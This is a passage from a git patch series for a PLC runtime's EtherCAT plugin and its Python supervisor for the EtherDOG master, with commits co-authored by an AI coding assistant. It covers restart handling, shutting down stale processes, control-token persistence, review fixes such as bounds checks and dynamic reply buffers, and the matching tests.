0 before the supervisor knew the webserver was stopping, so it was restarted. A clean exit is now never restarted, and the webserver stops EtherDOG on shutdown. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- tests/pytest/discovery/test_etherdog_manager.py | 9 +++++++++ webserver/app.py | 1 + webserver/etherdog_manager.py | 7 ++++++- 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index 9218d415..a62454e2 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -229,3 +229,12 @@ def test_new_program_retries_disabled_etherdog(run_dir: Path) -> None: manager.apply_busconfig(None) assert _wait_for(lambda: _launches(run_dir) > etherdog_manager.MAX_RAPID_EXITS) assert _wait_for(lambda: manager.disabled_reason is not None) + + +def test_clean_exit_is_not_restarted(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 0") + manager.start() + assert _wait_for(lambda: not manager._running) + time.sleep(0.5) + assert _launches(run_dir) == 1 + assert manager.disabled_reason is None diff --git a/webserver/app.py b/webserver/app.py index 714d11bd..eaa43d97 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -615,6 +615,7 @@ def _patched_recv(self, buflen, flags=0): # logger.info("HTTP server stopped by KeyboardInterrupt") pass finally: + etherdog_manager.stop() logger.info("Runtime manager stopped") runtime_manager.stop() network_discovery_responder.stop() diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index 0bf22720..ca3b88cc 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -244,6 +244,11 @@ def _supervise(self) -> None: self._pump.join(timeout=2.0) if not self._running: return + # EtherDOG exits 0 only when asked to stop (SIGINT/SIGTERM or "shutdown") + if code == 0: + self._running = False + logger.info("EtherDOG stopped; not restarting it") + return output = list(self._output) reason = _fatal_exit_reason(code, output) if reason is not None: @@ -311,7 +316,7 @@ def apply_busconfig(self, source: Path | None) -> None: self._configure_locked() return # A new program gets a fresh start, as the PLC runtime does after safe mode - if self._disabled_reason is not None and self.installed: + if not self._running and self.installed: logger.info("Retrying EtherDOG for the new program") self.start() From c67ec86deac902badb6093add7e491258f4dfc58 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 11:28:33 -0400 Subject: [PATCH 08/22] fix(etherdog): shut down an EtherDOG left by a previous webserver It held the control port, so every new EtherDOG exited and was disabled. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../pytest/discovery/test_etherdog_manager.py | 19 +++++++++++++++ webserver/etherdog_manager.py | 24 +++++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index a62454e2..52f73fb9 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -238,3 +238,22 @@ def test_clean_exit_is_not_restarted(run_dir: Path) -> None: time.sleep(0.5) assert _launches(run_dir) == 1 assert manager.disabled_reason is None + + +def test_stale_etherdog_is_shut_down(run_dir: Path) -> None: + manager = _manager(run_dir, "") + manager.paths.token_file.parent.mkdir(parents=True, exist_ok=True) + manager.paths.token_file.write_text("old-token\n") + server = FakeEtherDog(str(run_dir / "etherdog.socket"), "old-token") + received: list[str] = [] + original = manager.command + + def record(request: dict, timeout: float = 10.0) -> dict: + received.append(request["command"]) + reply = original(request, timeout) + server.close() + return reply + + manager.command = record # type: ignore[method-assign] + manager._stop_stale() + assert received == ["shutdown"] diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index ca3b88cc..23e4bec8 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -38,6 +38,7 @@ MAX_RAPID_EXITS = 3 RAPID_EXIT_WINDOW_S = 30.0 READY_TIMEOUT_S = 10.0 +STALE_STOP_TIMEOUT_S = 5.0 OUTPUT_TAIL_LINES = 20 USAGE_ERROR_EXIT = 2 @@ -232,7 +233,30 @@ def _record_exit(self) -> bool: self._exit_times.append(now) return len(self._exit_times) >= MAX_RAPID_EXITS + def _stop_stale(self) -> None: + """Shut down an EtherDOG left running by an earlier webserver, which would otherwise hold + the control endpoint. Its token is still in the token file.""" + try: + self._token = self.paths.token_file.read_text(encoding="utf-8").strip() + except OSError: + return + try: + self.command({"command": "shutdown"}, timeout=2.0) + except EtherDogUnavailable: + return + logger.warning("Stopped an EtherDOG left running by a previous webserver") + deadline = time.monotonic() + STALE_STOP_TIMEOUT_S + while time.monotonic() < deadline: + try: + with _connect(self.paths.control, 0.5): + pass + except OSError: + return + time.sleep(0.2) + logger.error("The previous EtherDOG did not exit; the new one may fail to start") + def _supervise(self) -> None: + self._stop_stale() if not self._spawn(): return while self._running: From 8960eeddf7d56a591726bb51491c0bb2b55c4c0b Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 11:31:24 -0400 Subject: [PATCH 09/22] fix(etherdog): keep the control token across restarts A new token on every spawn made a leftover EtherDOG impossible to shut down. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- tests/pytest/discovery/test_etherdog_manager.py | 12 ++++++++++-- webserver/etherdog_manager.py | 15 +++++++++++---- 2 files changed, 21 insertions(+), 6 deletions(-) diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index 52f73fb9..1339e3cb 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -243,8 +243,8 @@ def test_clean_exit_is_not_restarted(run_dir: Path) -> None: def test_stale_etherdog_is_shut_down(run_dir: Path) -> None: manager = _manager(run_dir, "") manager.paths.token_file.parent.mkdir(parents=True, exist_ok=True) - manager.paths.token_file.write_text("old-token\n") - server = FakeEtherDog(str(run_dir / "etherdog.socket"), "old-token") + manager.paths.token_file.write_text("ab" * 32 + "\n") + server = FakeEtherDog(str(run_dir / "etherdog.socket"), "ab" * 32) received: list[str] = [] original = manager.command @@ -257,3 +257,11 @@ def record(request: dict, timeout: float = 10.0) -> dict: manager.command = record # type: ignore[method-assign] manager._stop_stale() assert received == ["shutdown"] + + +def test_token_survives_restart(run_dir: Path) -> None: + manager = _manager(run_dir, "") + manager._write_session() + first = manager._token + manager._write_session() + assert manager._token == first diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index 23e4bec8..e6ce37ca 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -157,10 +157,18 @@ def _disable(self, reason: str) -> None: except OSError as e: logger.error("Could not write the EtherDOG session file: %s", e) + def _saved_token(self) -> str | None: + try: + token = self.paths.token_file.read_text(encoding="utf-8").strip() + except OSError: + return None + return token if len(token) == 64 and all(c in "0123456789abcdef" for c in token) else None + def _write_session(self) -> None: self.paths.state_dir.mkdir(parents=True, exist_ok=True) os.chmod(self.paths.state_dir, 0o700) - self._token = secrets.token_hex(32) + # Kept across restarts so a leftover EtherDOG can still be told to shut down + self._token = self._saved_token() or secrets.token_hex(32) _write_private(self.paths.token_file, self._token + "\n") session = { "control": self.paths.control, @@ -236,9 +244,8 @@ def _record_exit(self) -> bool: def _stop_stale(self) -> None: """Shut down an EtherDOG left running by an earlier webserver, which would otherwise hold the control endpoint. Its token is still in the token file.""" - try: - self._token = self.paths.token_file.read_text(encoding="utf-8").strip() - except OSError: + self._token = self._saved_token() or "" + if not self._token: return try: self.command({"command": "shutdown"}, timeout=2.0) From e4999e798ef7f2075ae8d3245b3ae8c5df41ca62 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 15:10:03 -0400 Subject: [PATCH 10/22] fix(ethercat): drop the spurious NULL runtime_args warning at init Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- core/src/drivers/plugins/native/ethercat/ethercat_plugin.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index fc47764d..537cc677 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -208,13 +208,12 @@ static void *relay_thread(void *arg) int init(void *args) { - plugin_logger_init(&g_logger, "ETHERCAT", NULL); + plugin_logger_init(&g_logger, "ETHERCAT", args); if (args == NULL) { plugin_logger_error(&g_logger, "init args is NULL"); return -1; } memcpy(&g_args, args, sizeof(g_args)); - plugin_logger_init(&g_logger, "ETHERCAT", args); const char *override = getenv("ETHERDOG_SESSION_FILE"); if (override != NULL && override[0] != '\0') From c388cde099ab5e8d4a05041ab4ed36fbc6626235 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 15:54:47 -0400 Subject: [PATCH 11/22] fix(ethercat): address the PR #205 review - The bus configuration is staged at upload and loaded by the plugin when the program starts, so the bus and the program always start together. - Control replies have no fixed size (up to 64 MB); a reply too large for execute_command's buffer is an error instead of being cut off. - IEC byte indexes above the 16-bit journal range are rejected, as are duplicate master names and entry counts past the bound array. - Masters with no I/O mapping are ignored with a warning. - Bus and link losses are logged as PLC warnings; the program keeps running. - The relay runs at the bus thread's task_priority. - Control goes over AF_UNIX on every platform, checked by EtherDOG's peer credentials; the token is gone. Leftover EtherDOG processes are killed at startup. - EtherDOG stderr errors are logged at error level until it is up; a killed EtherDOG is reaped; the session file is written with O_NOFOLLOW. - The legacy-upload message names runtime 4.3.0 and Editor 4.3.2. - Tests for the link client, the relay against a fake EtherDOG, the upload path and the new validations; drop the stale SOEM test stubs. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../plugins/native/ethercat/ethercat_iomap.c | 27 +- .../plugins/native/ethercat/ethercat_iomap.h | 2 + .../plugins/native/ethercat/ethercat_plugin.c | 176 +++++++-- .../plugins/native/ethercat/etherdog_link.c | 55 ++- .../plugins/native/ethercat/etherdog_link.h | 28 +- .../pytest/discovery/test_etherdog_manager.py | 155 ++++---- tests/pytest/restapi/test_ethercat_upload.py | 61 ++++ tests/support/ethercat_stubs.c | 74 ---- tests/test_ethercat_iec_location.c | 17 + tests/test_ethercat_iomap.c | 12 + tests/test_ethercat_relay.c | 337 ++++++++++++++++++ tests/test_etherdog_link.c | 263 ++++++++++++++ webserver/app.py | 10 +- webserver/etherdog_manager.py | 161 +++++---- 14 files changed, 1106 insertions(+), 272 deletions(-) create mode 100644 tests/pytest/restapi/test_ethercat_upload.py delete mode 100644 tests/support/ethercat_stubs.c create mode 100644 tests/test_ethercat_relay.c create mode 100644 tests/test_etherdog_link.c diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c index d1ea0d65..b8bf9ab4 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c @@ -53,8 +53,9 @@ int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc) if (!isdigit((unsigned char)*p)) return -1; char *endptr = NULL; + errno = 0; long byte_val = strtol(p, &endptr, 10); - if (endptr == p || byte_val < 0) + if (endptr == p || errno == ERANGE || byte_val < 0 || byte_val > ECAT_IOMAP_MAX_BYTE_INDEX) return -1; loc->byte_index = (int)byte_val; p = endptr; @@ -177,6 +178,13 @@ int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_s snprintf(err, err_size, "%s: each master needs 'name' and 'entries'", path); goto done; } + for (int k = 0; k < map->master_count - 1; k++) { + if (strcmp(map->masters[k].name, name->valuestring) == 0) { + snprintf(err, err_size, "%s: master name '%s' is used twice", path, + name->valuestring); + goto done; + } + } snprintf(mm->name, sizeof(mm->name), "%s", name->valuestring); const cJSON *e; @@ -298,6 +306,11 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime } ecat_bound_master_t *bm = &out->masters[idx->valueint]; + if (bm->active) { + snprintf(err, err_size, "master '%s': layout index %d is bound twice", mm->name, + idx->valueint); + return -1; + } bm->active = true; bm->output_bytes = (uint32_t)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(lm, "output_bytes")); @@ -334,7 +347,7 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime snprintf(err, err_size, "%s: layout offset out of range", me->iec_location); return -1; } - if (me->loc.byte_index >= args->buffer_size) { + if (me->loc.byte_index < 0 || me->loc.byte_index >= args->buffer_size) { snprintf(err, err_size, "%s exceeds the image table size (%d)", me->iec_location, args->buffer_size); return -1; @@ -348,12 +361,18 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime .journal_index = me->loc.byte_index, .journal_bit = me->loc.size == IEC_SIZE_BIT ? me->loc.bit_index : 0, }; + int *count = is_output ? &bm->output_count : &bm->input_count; + if (*count >= ECAT_IOMAP_MAX_ENTRIES) { + snprintf(err, err_size, "master '%s' has more than %d %s entries", mm->name, + ECAT_IOMAP_MAX_ENTRIES, is_output ? "output" : "input"); + return -1; + } if (is_output) { if (x.plc_ptr == NULL) continue; /* location not declared in the program */ - bm->outputs[bm->output_count++] = x; + bm->outputs[(*count)++] = x; } else { - bm->inputs[bm->input_count++] = x; + bm->inputs[(*count)++] = x; } } } diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h index 48898e27..f69ed62a 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -24,6 +24,8 @@ #define ECAT_IOMAP_MAX_MASTERS 4 #define ECAT_IOMAP_MAX_ENTRIES 512 #define ECAT_IOMAP_NAME_LEN 64 +/** Highest byte index a location may use; the runtime's journal indexes are 16-bit. */ +#define ECAT_IOMAP_MAX_BYTE_INDEX 65535 typedef enum { IEC_SIZE_BIT, IEC_SIZE_BYTE, IEC_SIZE_WORD, IEC_SIZE_DWORD, IEC_SIZE_LWORD } iec_size_t; typedef enum { IEC_DIR_INPUT, IEC_DIR_OUTPUT } iec_dir_t; diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index 537cc677..0fb85dc1 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -6,8 +6,8 @@ * @brief EtherCAT client plugin: relays process data between EtherDOG and the image tables. * * The EtherCAT master is EtherDOG, supervised by the webserver: - * start_loop: connect, start the bus, read the layout, bind it to ethercat_iomapping.json, - * open the data session, spawn the relay thread + * start_loop: connect, load the bus configuration, start the bus, read the layout, bind it + * to ethercat_iomapping.json, open the data session, spawn the relay thread * relay: per input frame, publish %I through the journal, then read %Q under * image_lock and answer with an output frame * stop_loop: stop the relay, close the session and stop the bus @@ -36,12 +36,12 @@ #include "plugin_logger.h" #include "plugin_types.h" -#define RELAY_PRIORITY 85 +/* Used when the bus configuration gives no task_priority; EtherDOG's own default is 90. */ +#define DEFAULT_RELAY_PRIORITY 90 #define RECV_TIMEOUT_MS 100 #define SILENCE_RECONNECT_MS 1000 #define RECONNECT_BACKOFF_MS 1000 #define START_TIMEOUT_MS 60000 -#define LAYOUT_BUF (512 * 1024) static plugin_logger_t g_logger; static plugin_runtime_args_t g_args; @@ -51,6 +51,10 @@ static ecat_bound_map_t g_bound; static edl_link_t g_link; static bool g_linked = false; static bool g_have_map = false; +static int g_relay_priority = DEFAULT_RELAY_PRIORITY; + +/* Last input flags per master, to log bus state changes once. -1: none seen yet. */ +static int g_last_flags[EDL_MAX_MASTERS]; static pthread_t g_relay; static atomic_bool g_running = false; @@ -64,14 +68,76 @@ static void sleep_ms(int ms) nanosleep(&ts, NULL); } -static int call_json(edl_link_t *link, const char *command, char *resp, size_t size, int timeout) +/* Returns 0 with *resp heap-allocated (caller frees), or -1. */ +static int call_json(edl_link_t *link, const char *command, char **resp, int timeout) { char req[64]; snprintf(req, sizeof(req), "{\"command\":\"%s\"}", command); - return edl_call(link, req, resp, size, timeout); + return edl_call(link, req, resp, timeout); +} + +/* Load the bus configuration; the bus starts only with the program, so both always match. */ +static int configure_bus(const edl_session_t *session, char *err, size_t err_size) +{ + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "configure"); + if (session->busconfig[0] != '\0') + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "path", session->busconfig); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + char *resp = NULL; + int rc = line ? edl_call(&g_link, line, &resp, 15000) : -1; + free(line); + if (rc != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'configure'"); + return -1; + } + + cJSON *root = cJSON_Parse(resp); + const cJSON *e = root ? cJSON_GetObjectItemCaseSensitive(root, "error") : NULL; + const cJSON *masters = root ? cJSON_GetObjectItemCaseSensitive(root, "masters") : NULL; + rc = 0; + if (cJSON_IsString(e)) { + /* Still running from before a reconnect: it already holds this program's configuration */ + if (strstr(e->valuestring, "running") == NULL) { + snprintf(err, err_size, "EtherDOG rejected the bus configuration: %.300s", + e->valuestring); + rc = -1; + } + } else if (cJSON_IsArray(masters)) { + int priority = 0; + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *p = cJSON_GetObjectItemCaseSensitive(m, "task_priority"); + if (cJSON_IsNumber(p) && p->valueint > priority) + priority = p->valueint; + } + g_relay_priority = priority >= 1 && priority <= 99 ? priority : DEFAULT_RELAY_PRIORITY; + } + cJSON_Delete(root); + free(resp); + return rc; } -/* Bring the link up: connect, start the bus, bind the layout, open the data session. */ +/* Masters EtherDOG runs that the mapping does not mention: their data is ignored. */ +static void warn_unmapped_masters(const cJSON *layout) +{ + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(layout, "masters"); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(m, "index"); + const cJSON *name = cJSON_GetObjectItemCaseSensitive(m, "name"); + if (cJSON_IsNumber(idx) && idx->valueint >= 0 && idx->valueint < ECAT_IOMAP_MAX_MASTERS && + !g_bound.masters[idx->valueint].active) + plugin_logger_warn(&g_logger, + "EtherCAT master '%s' has no I/O mapping; its data is ignored", + cJSON_IsString(name) ? name->valuestring : "?"); + } +} + +/* Bring the link up: connect, configure and start the bus, bind the layout, open the data session. */ static int link_up(char *err, size_t err_size) { edl_session_t session; @@ -81,8 +147,11 @@ static int link_up(char *err, size_t err_size) if (edl_connect(&g_link, &session, err, err_size) != 0) return -1; - static char resp[LAYOUT_BUF]; - if (call_json(&g_link, "start", resp, sizeof(resp), START_TIMEOUT_MS) != 0) { + char *resp = NULL; + cJSON *layout = NULL; + if (configure_bus(&session, err, err_size) != 0) + goto fail; + if (call_json(&g_link, "start", &resp, START_TIMEOUT_MS) != 0) { snprintf(err, err_size, "no reply from EtherDOG to 'start'"); goto fail; } @@ -90,20 +159,25 @@ static int link_up(char *err, size_t err_size) snprintf(err, err_size, "EtherDOG could not start the bus: %.300s", resp); goto fail; } - if (call_json(&g_link, "layout", resp, sizeof(resp), 5000) != 0) { + free(resp); + resp = NULL; + if (call_json(&g_link, "layout", &resp, 5000) != 0) { snprintf(err, err_size, "no reply from EtherDOG to 'layout'"); goto fail; } - cJSON *layout = cJSON_Parse(resp); + layout = cJSON_Parse(resp); if (layout == NULL) { snprintf(err, err_size, "EtherDOG layout reply is not JSON"); goto fail; } - int rc = ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size); - cJSON_Delete(layout); - if (rc != 0) + if (ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size) != 0) goto fail; + warn_unmapped_masters(layout); + cJSON_Delete(layout); + layout = NULL; + free(resp); + resp = NULL; char dir_buf[256]; snprintf(dir_buf, sizeof(dir_buf), "%s", g_session_file); @@ -117,10 +191,14 @@ static int link_up(char *err, size_t err_size) "Master %d: %d input(s), %d output(s) bound (image %u/%u bytes)", i, m->input_count, m->output_count, m->input_bytes, m->output_bytes); } + for (int i = 0; i < EDL_MAX_MASTERS; i++) + g_last_flags[i] = -1; g_linked = true; return 0; fail: + cJSON_Delete(layout); + free(resp); edl_close(&g_link); g_linked = false; return -1; @@ -129,23 +207,50 @@ static int link_up(char *err, size_t err_size) static void link_down(bool stop_bus) { if (g_link.ctl_fd >= 0) { - char resp[256]; - call_json(&g_link, "close_data", resp, sizeof(resp), 2000); + char *resp = NULL; + call_json(&g_link, "close_data", &resp, 2000); + free(resp); + resp = NULL; if (stop_bus) - call_json(&g_link, "stop", resp, sizeof(resp), 10000); + call_json(&g_link, "stop", &resp, 10000); + free(resp); } edl_close(&g_link); g_linked = false; } +static void apply_relay_priority(void) +{ + struct sched_param sp = { .sched_priority = g_relay_priority }; + if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) + plugin_logger_warn(&g_logger, "relay: SCHED_FIFO(%d) unavailable: %s", g_relay_priority, + strerror(errno)); +} + +/* Logs a master's bus state change; the program keeps running on the last inputs. */ +static void track_bus_state(int master, uint8_t flags) +{ + int state = flags & (EDL_FLAG_VALID | EDL_FLAG_WKC_OK); + int last = g_last_flags[master]; + g_last_flags[master] = state; + if (last == state) + return; + if (!(state & EDL_FLAG_VALID)) { + plugin_logger_warn(&g_logger, + "EtherCAT master %d: bus not operational; inputs keep their last values", + master); + } else if (!(state & EDL_FLAG_WKC_OK)) { + plugin_logger_warn(&g_logger, "EtherCAT master %d: working counter mismatch", master); + } else if (last != -1) { + plugin_logger_info(&g_logger, "EtherCAT master %d: bus operational again", master); + } +} + static void *relay_thread(void *arg) { (void)arg; pthread_setname_np(pthread_self(), "ecat-relay"); - struct sched_param sp = { .sched_priority = RELAY_PRIORITY }; - if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) - plugin_logger_warn(&g_logger, "relay: SCHED_FIFO(%d) unavailable: %s", RELAY_PRIORITY, - strerror(errno)); + apply_relay_priority(); uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; uint8_t outputs[EDL_MAX_PAYLOAD]; @@ -165,6 +270,7 @@ static void *relay_thread(void *arg) plugin_logger_info(&g_logger, "EtherDOG link %s", reported ? "restored" : "up"); reported = false; silent_ms = 0; + apply_relay_priority(); } int master = 0; @@ -176,8 +282,10 @@ static void *relay_thread(void *arg) if (rc <= 0) { silent_ms += RECV_TIMEOUT_MS; if (rc < 0 || silent_ms >= SILENCE_RECONNECT_MS) { - plugin_logger_warn(&g_logger, "EtherDOG silent for %d ms, reconnecting", - silent_ms); + plugin_logger_warn(&g_logger, + "EtherCAT link to EtherDOG lost (%s); inputs keep their last " + "values, reconnecting", + rc < 0 ? "socket error" : "no data for 1 s"); link_down(false); reported = true; } @@ -186,12 +294,9 @@ static void *relay_thread(void *arg) silent_ms = 0; const ecat_bound_master_t *m = &g_bound.masters[master]; - if (!m->active) { - /* A running master nothing is mapped to: keep it fed with zero outputs. */ - memset(outputs, 0, sizeof(outputs)); - edl_send_outputs(&g_link, master, outputs, len, true); - continue; - } + if (!m->active) + continue; /* unmapped (warned at link up); EtherDOG holds its outputs at zero */ + track_bus_state(master, flags); if (flags & EDL_FLAG_VALID) ecat_iomap_publish_inputs(m, payload, len, &g_args); @@ -325,11 +430,22 @@ int execute_command(const char *command_json, char *response, size_t response_si cJSON_Delete(resp); return -1; } - int rc = edl_call(&link, command_json, response, response_size, 30000); + char *reply = NULL; + int rc = edl_call(&link, command_json, &reply, 30000); edl_close(&link); if (rc != 0) { snprintf(response, response_size, "{\"error\":\"no reply from EtherDOG\"}"); return -1; } + size_t len = strlen(reply); + if (len >= response_size) { + snprintf(response, response_size, + "{\"error\":\"EtherDOG reply is %zu bytes, larger than the %zu-byte buffer\"}", + len, response_size); + free(reply); + return -1; + } + memcpy(response, reply, len + 1); + free(reply); return strstr(response, "\"error\"") != NULL ? -1 : 0; } diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.c b/core/src/drivers/plugins/native/ethercat/etherdog_link.c index 6fbbf747..8e4eb0fc 100644 --- a/core/src/drivers/plugins/native/ethercat/etherdog_link.c +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.c @@ -77,6 +77,9 @@ int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err snprintf(out->token, sizeof(out->token), "%s", token->valuestring); const cJSON *data = cJSON_GetObjectItemCaseSensitive(root, "data"); out->udp = cJSON_IsString(data) && strcmp(data->valuestring, "udp") == 0; + const cJSON *busconfig = cJSON_GetObjectItemCaseSensitive(root, "busconfig"); + if (cJSON_IsString(busconfig) && strlen(busconfig->valuestring) < sizeof(out->busconfig)) + snprintf(out->busconfig, sizeof(out->busconfig), "%s", busconfig->valuestring); cJSON_Delete(root); return 0; } @@ -139,9 +142,9 @@ static int connect_spec(const char *spec, char *err, size_t err_size) return -1; } -int edl_call(edl_link_t *link, const char *request, char *response, size_t response_size, - int timeout_ms) +int edl_call(edl_link_t *link, const char *request, char **response, int timeout_ms) { + *response = NULL; if (link->ctl_fd < 0) return -1; size_t len = strlen(request); @@ -161,23 +164,34 @@ int edl_call(edl_link_t *link, const char *request, char *response, size_t respo return -1; for (;;) { - char *nl = memchr(link->rbuf, '\n', link->rlen); + char *nl = link->rlen > 0 ? memchr(link->rbuf, '\n', link->rlen) : NULL; if (nl != NULL) { size_t line = (size_t)(nl - link->rbuf); - size_t copy = line < response_size - 1 ? line : response_size - 1; - memcpy(response, link->rbuf, copy); - response[copy] = '\0'; + char *out = malloc(line + 1); + if (out == NULL) + return -1; + memcpy(out, link->rbuf, line); + out[line] = '\0'; memmove(link->rbuf, nl + 1, link->rlen - line - 1); link->rlen -= line + 1; + *response = out; return 0; } - if (link->rlen >= sizeof(link->rbuf)) - return -1; + if (link->rlen == link->rcap) { + if (link->rcap >= EDL_MAX_REPLY) + return -1; + size_t cap = link->rcap ? link->rcap * 2 : 64 * 1024; + char *grown = realloc(link->rbuf, cap); + if (grown == NULL) + return -1; + link->rbuf = grown; + link->rcap = cap; + } struct pollfd pfd = { .fd = link->ctl_fd, .events = POLLIN }; int rc = poll(&pfd, 1, timeout_ms); if (rc <= 0) return -1; - ssize_t n = recv(link->ctl_fd, link->rbuf + link->rlen, sizeof(link->rbuf) - link->rlen, 0); + ssize_t n = recv(link->ctl_fd, link->rbuf + link->rlen, link->rcap - link->rlen, 0); if (n <= 0) return -1; link->rlen += (size_t)n; @@ -193,8 +207,8 @@ int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_ cJSON *req = cJSON_CreateObject(); cJSON_AddStringToObject(req, "command", "hello"); - cJSON *params = cJSON_AddObjectToObject(req, "params"); - cJSON_AddStringToObject(params, "token", session->token); + if (session->token[0] != '\0') + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "token", session->token); char *line = cJSON_PrintUnformatted(req); cJSON_Delete(req); if (line == NULL) { @@ -202,14 +216,16 @@ int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_ return -1; } - char resp[1024]; - int rc = edl_call(link, line, resp, sizeof(resp), 5000); + char *resp = NULL; + int rc = edl_call(link, line, &resp, 5000); free(line); if (rc != 0 || strstr(resp, "\"error\"") != NULL) { - snprintf(err, err_size, "EtherDOG refused the connection: %s", rc ? "no reply" : resp); + snprintf(err, err_size, "EtherDOG refused the connection: %.300s", rc ? "no reply" : resp); + free(resp); edl_close(link); return -1; } + free(resp); return 0; } @@ -299,8 +315,8 @@ int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *lo cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "endpoint", endpoint); char *line = cJSON_PrintUnformatted(req); cJSON_Delete(req); - char resp[4096]; - int rc = line ? edl_call(link, line, resp, sizeof(resp), 5000) : -1; + char *resp = NULL; + int rc = line ? edl_call(link, line, &resp, 5000) : -1; free(line); if (rc != 0) { snprintf(err, err_size, "no reply to open_data"); @@ -311,10 +327,12 @@ int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *lo const cJSON *e = root ? cJSON_GetObjectItemCaseSensitive(root, "error") : NULL; const cJSON *masters = root ? cJSON_GetObjectItemCaseSensitive(root, "masters") : NULL; if (cJSON_IsString(e) || !cJSON_IsArray(masters)) { - snprintf(err, err_size, "open_data refused: %s", cJSON_IsString(e) ? e->valuestring : resp); + snprintf(err, err_size, "open_data refused: %.300s", cJSON_IsString(e) ? e->valuestring : resp); cJSON_Delete(root); + free(resp); return -1; } + free(resp); memset(link->open, 0, sizeof(link->open)); const cJSON *m; cJSON_ArrayForEach(m, masters) @@ -404,6 +422,9 @@ void edl_close(edl_link_t *link) link->data_fd = -1; link->ctl_fd = -1; link->data_path[0] = '\0'; + free(link->rbuf); + link->rbuf = NULL; + link->rcap = 0; link->rlen = 0; memset(link->open, 0, sizeof(link->open)); } diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.h b/core/src/drivers/plugins/native/ethercat/etherdog_link.h index 59b78324..2ed9ecf6 100644 --- a/core/src/drivers/plugins/native/ethercat/etherdog_link.h +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.h @@ -5,7 +5,8 @@ * @file 